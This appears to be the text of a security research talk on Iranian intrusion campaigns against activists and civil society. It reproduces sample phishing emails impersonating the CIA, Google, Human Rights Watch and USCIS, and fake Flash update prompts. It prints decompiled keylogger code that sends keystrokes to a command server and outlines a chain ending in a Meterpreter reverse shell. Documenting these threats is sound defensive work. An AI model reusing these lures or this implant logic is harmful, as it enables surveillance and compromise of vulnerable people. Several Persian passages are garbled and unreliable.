Iran and the Soft War for Internet Dominance

Claudio Guarnieri (@botherder) & Collin Anderson (@cda)
Who we are

• Nex
  • Technologist at Amnesty International.
  • Senior Research Fellow at CitizenLab.
  • Creator of Cuckoo Sandbox, Viper, Malwr.com ...

• Cda
  • Networked systems researcher, based in Washington, D.C.
  • Collaborates with civil society on Internet measurement and policy issues (e.g. Wassenaar), academic institutions, and others.
  • History on Iran human rights and foreign policy.
The Green Movement and the Soft War
IRANIAN CYBER ARMY

THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY

The site has been hacked by an Iranian cyberarmy, which claims to have targeted this site. The text is written in both English and Farsi, indicating a possible Iranian origin.
Invalid Server Certificate

You attempted to reach www.google.com, but the server presented an invalid certificate.

• Help me understand

When you connect to a secure website, the server hosting that site presents your browser with something called a certificate. This certificate contains identity information, such as the address of the website, which is verified by a third party (such as an attacker on your network).

In this case, the server certificate or an intermediate CA certificate presented to your browser is invalid. The certificate is malformed, contains invalid fields, or is not supported.
Shedding Light on the Targeting of Activists and At-Risk Communities
هشدار برای تروریستی به نام «فالان حافظ»

کوکی‌های ویژه گزینه‌های جدید تروریستی به‌طور پیوسته در بازار کار بازی‌های اینترنتی قرار گرفته است. این کوکی‌ها شامل مواردی مانند: مدارک هوشمندانه، اطلاعات شخصی، پسورد و حتی اطلاعات مالی هستند. هر یک از این کوکی‌ها می‌توانند به‌عنوان ابزاری برای تروریست‌ها استفاده شوند.

در این راستا، گروه‌های تروریستی ممکن است از این کوکی‌ها استفاده کنند تا به‌عنوان سرمایه‌های تجاری، سرمایه‌گذاری در اقتصاد غیر офیسیونال، یا حتی به‌عنوان آماده‌سازی برای قطعاتی که لازم به تأمین نمی‌شوند.

به‌طور کلی، استفاده از این کوکی‌ها می‌تواند به‌عنوان یک نشان از تغییرات جدی در سیاست‌های امنیتی این بازار باشد. این مسئله تأثیرگذاری از منابع مالی کشورها و حتی سیاست‌های بین‌المللی را می‌تواند داشته باشد.
Mission

Collect Samples and Incidents from Targets of Iran-based Intrusion Campaigns for Accountability and Community Education.
Intrusions and Elections
ارتش سایبری ایران

آنها یوپسته حیله می‌کنند و نیز در مقابل آنها حیله می‌کنند.

حال که چنین است کافران را اندکی مهلت ده تا سزای اعمالشان را بپینند...
خدا خیرت بده! از همون فصله و دوسته روه مدرّز نکن که فرامی‌سوزد و موتّیز شلّ در مبارزه
Phishing and Malware, the New Normal
Real APT: we need to read their emails and steal their spreadsheets.
Fantasy APT: we need to hack their baseband... because reasons!
Forwarded message

From: CIA Secure Program! <security@cia.gov>
Date: 17 November 2013 07:52
Subject: Hi dear, Iranian people can contact us with secure CIA Program.
To: aminsabeti@gmail.com

CIA Chat is a program for you to report threats in a secure manner to the US Central Intelligence Agency.

The most important threats we’re looking for, are those related to national security and any type of information which can lead us to terrorist groups.

Your patriotic acts would be rewarded too. We pay money as reward to those who share useful information with us.

Although those of you seeking to work with the leading intelligence agency in the world, this program is a way for anonymous and secure connection to us.

☐ CIA_Chat.exe
244K View  Download
Please update your Flash Player™

By clicking the Download now button, you acknowledge you have read and agree to the Software Licensing Agreement.

Download now
Campaigns, Tools and Actors

Cross section of the Ecosystem
--------- Forwarded message ---------
From: baran omid <baramomid@gmail.com>
Date: 14 May 2013 09:11
Subject: انتخابات خرداد ۹۲
To: baramomid@gmid.com

--- Blocked file ---
با درود
تصاویر منتشر نشده از امید کوکبی بعد از سرطان
جهت انتشار گسترده درسائی‌ها

---- Forwarded message ----
From: kaveh tahmasbi <kaveh.tahmasbi@gmail.com>
Date: 2016-04-20 12:45 GMT+02:00
Subject: تصاویر امید کوکبی بعد از سرطان
To:
به سیاست‌های توزیع ارزی هسته‌ای خوش آمدید.

متأسفم، ممکن است شما که در نظر شنا فتار کنند.
My sites, False positive

Hello
I made contact with you but after many days my request was......
your product detected two of my site as malware.
your latest updated trial version does not detect any file in my sites as malware.
also there is not any binary, program, apk or any dangerous file in my sites.
please remove my sites from your black list as soon as possible.
thanks

-----My sites
http://updateserver1.com
http://bestupdateserver.com/
DGA \o/

- They implemented a bizarre DGA algorithm
- It would use rotating pools of 30 domains.
- The DGA domains are contacted even if primary C&C is up.
- Only one registered before, all the others available.
- Started sinkholing from December 2015.
Professional Sinkhole Camouflage
Infections per Country

- Turkey: 1.3%
- Saudi Arabia: 1.7%
- Afghanistan: 2.5%
- Pakistan: 3.8%
- France: 3.8%
- Germany: 4.2%
- Iraq: 4.2%
- Sweden: 5.9%
- United States: 7.6%
- Iran: 48.7%
Hello hello!
<table>
<thead>
<tr>
<th>Hostname</th>
<th>Version</th>
<th>Seen</th>
<th>IP(s)</th>
<th>Location(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>WIN-A2HDD1940BE</td>
<td>29</td>
<td>12/1/2016</td>
<td>192.99.220.xxx</td>
<td>Canada (OVH)</td>
</tr>
<tr>
<td>WIN-SLRJHLCR4VK</td>
<td>30</td>
<td>20/2/2016</td>
<td>5.232.154.xxx</td>
<td>Khorasan Razavi, Iran</td>
</tr>
<tr>
<td>USER1-DA087865E</td>
<td>31</td>
<td>1/5/2016</td>
<td>217.172.105.xxx</td>
<td>Iran (Asiatech)</td>
</tr>
<tr>
<td>DESKTOP-TFG03B1</td>
<td>31</td>
<td>1/5/2016</td>
<td>217.172.105.xxx</td>
<td>Iran (Asiatech)</td>
</tr>
</tbody>
</table>
Update system

• When the malware checks in with the C&C, it retrieves instructions.
• If the C&C replies to the HTTP request with a 302 Redirect to a given URL pointing to an .exe, Infy will download and execute it.
• No verification or signing, and...
• The DGA domains are obviously able to distribute updates...
Infy: summing up

- Very active group, will probably resurface.
- Rudimentary development skills.
- Decent social engineering skills.
- Worst OPSEC ever?
- Very, very successful. Managed to compromise several hundreds of targets.
Cleaver (Ghambar)
An update to Adobe® Flash® Player is available.

This update includes improvements in usability, online security and stability, as well as new features which help content developers deliver rich and engaging experiences.

Did you know...

- The top 10 Facebook games use the Flash Player. To see more, visit www.adobe.com/games.
- Most of the top video sites on the web use Flash Player
- Flash Player is installed on over 1.3 billion connected PCs

Note: If you have selected to allow Adobe to install updates, this update will be installed on your system automatically within 45 days or you can choose to download it now.
private static void Main()
{
    try
    {
        Utils.DbgsPrint(".: In the name of God :.");
        string destinationPathOfExecution = IoPathUtils.GetDestinationPathOfExecution();
        string text = Path.Combine(destinationPathOfExecution,
                                  Resources.APP_EXE_FILE_NAME);
        if (!Directory.Exists(destinationPathOfExecution))
        {
            Directory.CreateDirectory(destinationPathOfExecution);
        }
    }
}
Features

- Self-destruct
- Shell
- Screenshot;
- Shutdown computer
- Reboot computer
- Logoff user
- Lock computer
- Set and copy clipboard
- Turn on and off display
- Enable/disable mouse and keyboard (not implemented)
- “Enable or disable desktop” (not implemented)
- Trigger BSOD (not implemented)
Some neat little things…

• The keylogger doesn’t store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.
private static void KeylogBufferArrived(string buffer)
{
    if (!string.IsNullOrEmpty(buffer))
    {
        try
        {
            if (Utils.IsServerEndpointAvailable())
            {
                bool flag;
                Program._communication.SendKeyLog(Program.ConfigInfo.TargetId, DateTime.Now, true, buffer, out flag, out Program._tempSpecified);
            }
            else
            {
                string keyloggerStoragePath = AppPathUtils.GetKeylogStoragePath();
                if (!Directory.Exists(keyloggerStoragePath))
                {
                    Directory.CreateDirectory(keyloggerStoragePath);
                }
                string path = Path.Combine(keyloggerStoragePath, Path.GetRandomFileName());
                File.WriteAllText(path, buffer);
            }
            catch (Exception ex)
            {
                Utils.DebugPrint(string.Format("EX : {0} Method : {1}", ex.Message, MethodBase.GetCurrentMethod().Name));
            }
        }
    }
}
Some neat little things…

• The keylogger doesn’t store anything on disk, unless the C&C is unreachable. Then removes the logs when submitted.

• Ghambar is entirely modular. It’s able to download and execute new plugins.

• Uses a SOAP-based protocol for communicating to the C&C, very similar to Operation Cleaver’s TinyZBot.
  • The samples we obtained appear to be under development. Ghambar might be the next generation implant from Cleaver?
Cleaver: summing up

• Active in compromising legitimate hosts, doing watering hole attacks.
• Rudimentary programming skills, but improving.
Rocket Kitten
From: Mail-Secure-Team <team.mail.secure@gmail.com>
Date: Mon, Sep 22, 2014 at 1:27 PM
Subject: Important Alert: Confirm your Google Account

Hi,
Some suspicious activities have been reported on this Google Account (**********@gmail.com).
Your Account will be suspended in near future. To get back into your account click on the box below and confirm your account.

Confirm Your Account

Notice: If you do not confirm your account, you will not be able to access your Google Account anymore.

Sincerely,
The Google Accounts team

This email can't receive replies. For more information, visit the Google Accounts Help Center.
Click on Options button and Enable this content.
Then the attacker would...

1. Install a first stage .exe with persistence, that would launch a PowerShell command.

2. PowerShell commands would inject some code and execute it.

3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.
Then the attacker would...

1. Install a first stage .exe with persistence, that would launch a PowerShell command.
2. PowerShell commands would inject some code and execute it.
3. At the end of the chain, the code would download a Meterpreter DLL and launch it as a reverse shell.

1. Yes, they totally connected into our VM and when figured it wasn’t legit, started frenetically deleting stuff and rebooting it.
Is there anyone from @telegram available they are accessing my arrested dads account without his permission.
WTF?

• Been burning Telegram API keys like there’s no tomorrow.
• Fetching user IDs for Iranian phone numbers in mass.
  • More than between 15 and 20 million.
• Useful for reconstructing networks and perhaps deanonymizing users when someone’s phone is confiscated?
Rocket: summing up

- Diverse activities.
- Interesting tricks, experienced attacker.
- Seem verse in using Metasploit. They’ve been observed before using Core Impact Pro.
- Very active, probably one of the most concerning groups.
Sima
### Directory Contents:

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>2/24/2016</td>
<td>3:37 AM</td>
<td></td>
<td>..</td>
</tr>
<tr>
<td>3/1/2016</td>
<td>3:47 AM</td>
<td></td>
<td>..</td>
</tr>
<tr>
<td>2/24/2016</td>
<td>3:27 AM</td>
<td></td>
<td>..</td>
</tr>
<tr>
<td>2/27/2016</td>
<td>3:33 AM</td>
<td></td>
<td>..</td>
</tr>
<tr>
<td>2/24/2016</td>
<td>12:03 PM</td>
<td></td>
<td>..</td>
</tr>
<tr>
<td>2/12/2016</td>
<td>11:06 AM</td>
<td>512</td>
<td>pwd.txt</td>
</tr>
<tr>
<td>3/1/2016</td>
<td>2:12 AM</td>
<td>514048</td>
<td>updt1.exe</td>
</tr>
<tr>
<td>3/1/2016</td>
<td>2:13 AM</td>
<td>444416</td>
<td>updt2.exe</td>
</tr>
<tr>
<td>1/30/2016</td>
<td>11:35 AM</td>
<td>253</td>
<td>web.config</td>
</tr>
<tr>
<td>2/29/2016</td>
<td>12:21 AM</td>
<td></td>
<td>windows</td>
</tr>
<tr>
<td>3/1/2016</td>
<td>3:44 AM</td>
<td>1020416</td>
<td>..</td>
</tr>
<tr>
<td>3/1/2016</td>
<td>3:36 AM</td>
<td>766976</td>
<td>..</td>
</tr>
<tr>
<td>2/29/2016</td>
<td>10:01 PM</td>
<td>657920</td>
<td>HK_reports-iranrcs.doc</td>
</tr>
</tbody>
</table>
Hello

I am Peter Bouckaert, Emergency director at Human Rights Watch, focusing on protecting the rights of civilians during armed conflict. Our group has huge field research & fact-finding missions to Iran, Lebanon, Kosovo, Chechnya, Afghanistan, Iraq, Israel and the Occupied Palestinian Territories, Macedonia, Indonesia, Uganda, and Sierra Leone, among others.

You can read my biography at below link:

https://www.hrw.org/about/people/peter-bouckaert

Please read our last research about “Iran Sending Thousands of Afghans to Fight in Syria” & contact me immediately.

You can read this article at below link:


Peter Bouckaert
You received this Email because you do not have a Permanent Residence, your Permanent Residence status needs to be adjusted or you need to renew/replace your Permanent Residence Card.

Starting March 9, 2016, customers must fill Form I-485 (can be found at the end of this email), in order to Register Permanent Residence or Adjust Status, and must fill Form I-90 (can be found at the end of this email) in order to Renew/Replace Permanent Residence Card and mail their Form I-485 or I-90 to USCIS local field/international offices. (Offices can be found here: https://www.uscis.gov/about-us/find-uscis-office)

USCIS will provide a 30 day grace period from March 9, 2016, for customers who file their Form I-485 or I-90 with one of the USCIS offices. All offices who receive Form I-485 and I-90 during this time will forward the forms to the Chicago Lockbox.

After April 9, 2016, local field/international offices will return all Form I-485 and I-90 they receive and advise customers to file at the Chicago Lockbox.

Download Form I-485, Application to Register Permanent Residence or Adjust Status: https://www.uscis.gov/sites/default/files/files/form/i-485.doc

Download Form I-90, Application to Replace Permanent Resident Card: https://www.uscis.gov/sites/default/files/files/form/i-90.doc

Contact us: https://www.uscis.gov/about-us/contact-us

With Best Regards,

USCIS Service Center.
Iran Sending Thousands of Afghans to Fight in Syria

Refugees, Migrants Report Deportation Threats

(New York) – Iran’s Revolutionary Guards Corps (IRGC) has recruited thousands of undocumented Afghans living there to fight in Syria since at least November 2013, Human Rights Watch said today, and a few have reported that Iranian authorities coerced them. Iran has urged the Afghans to defend Shia sacred sites and offered financial incentives and legal residence in Iran to encourage them to join pro-Syrian government militias.

Human Rights Watch in late 2015 interviewed more than two dozen Afghans who had lived in Iran about recruitment by Iranian officials of Afghans to fight in Syria. Some said they or their relatives had been coerced to fight in Syria and either had later fled and reached Greece, or had been deported to Afghanistan for refusing. One 17-year-old said
Tools & Techniques

• We’ve seen Sima using two different droppers
  • One worked terribly, had logic flaws, and had endless loops of flashing cmd.exe attempting to call reg command to gain persistence.
  • One much better designed, using task scheduler for persistence, and errors/dialogs suppression.

• Both would then instantiate a legitimate RegAsm.exe, do process hollowing, and inject it with Luminosity Link code.
Introducing LuminosityLink

Feature Packed and Incredibly Stable, Luminosity Brings new innovations to the table!

**Remote Chat and Messages**
- Surveillance: Luminosity allows you to control your clients via Remote Desktop, Remote Webcam, and a professional Client Manager.

**Smart Keylogger**
- File Manager & Searcher: View, download, and delete files on your clients' computer. You may also search for specific files and have them uploaded automatically.

**Client Management**
- RDP Manager: Login and control your systems on a new user session via Microsoft Remote Desktop Protocol (RDP)

**Easy to setup and use**
- Malware Remover: Remove Malicious items on your clients' computer. In addition, you may block specific processes, and stop the installation of specified software.
- Reverse Proxy: Use your clients' IP Address as a Socks 5 Proxy in any application. Very stable and fast.
- Password Recovery: Recovers Lost Passwords from all Major Web Browsers, all Email Clients, FileZilla, and Windows Serial Key.
Sima: summing up

• Excellent recon skills
• Excellent social engineering skills
• Good organization
• Bad OPSEC
• Bad development skills
• Still, successful.
Coming to an end…
Conclusions

• Dearth of information of historical campaigns, but Iranians have been the subject of targeted intrusion by their government since at least early 2010.

• Intrusions and disruptions are conducted by disparate groups concurrent to each other with evolving strategies.

• Most observed incidents evince low to medium sophistication, primarily relying on social engineering.

• Same toolkits used against civil society as in espionage against foreign targets.

• Intrusions are common and normalized, but large surface area for surveillance due to low technical expertise.
Next steps

• Document the capabilities and campaigns associated with Iranian threat actors.
• Resurface evidence of previous campaigns prior to June 2013.
• Collect harm stories and case studies of intrusion attempts.
• Provide background narratives of actors and intrusions over time.
• Publish full research and datasets, including samples, hashes and IOCs.
• Coordinate further disclosure and remediation of campaigns.
Thank you!
Claudio Guarnieri (@botherder) & Collin Anderson (@cda)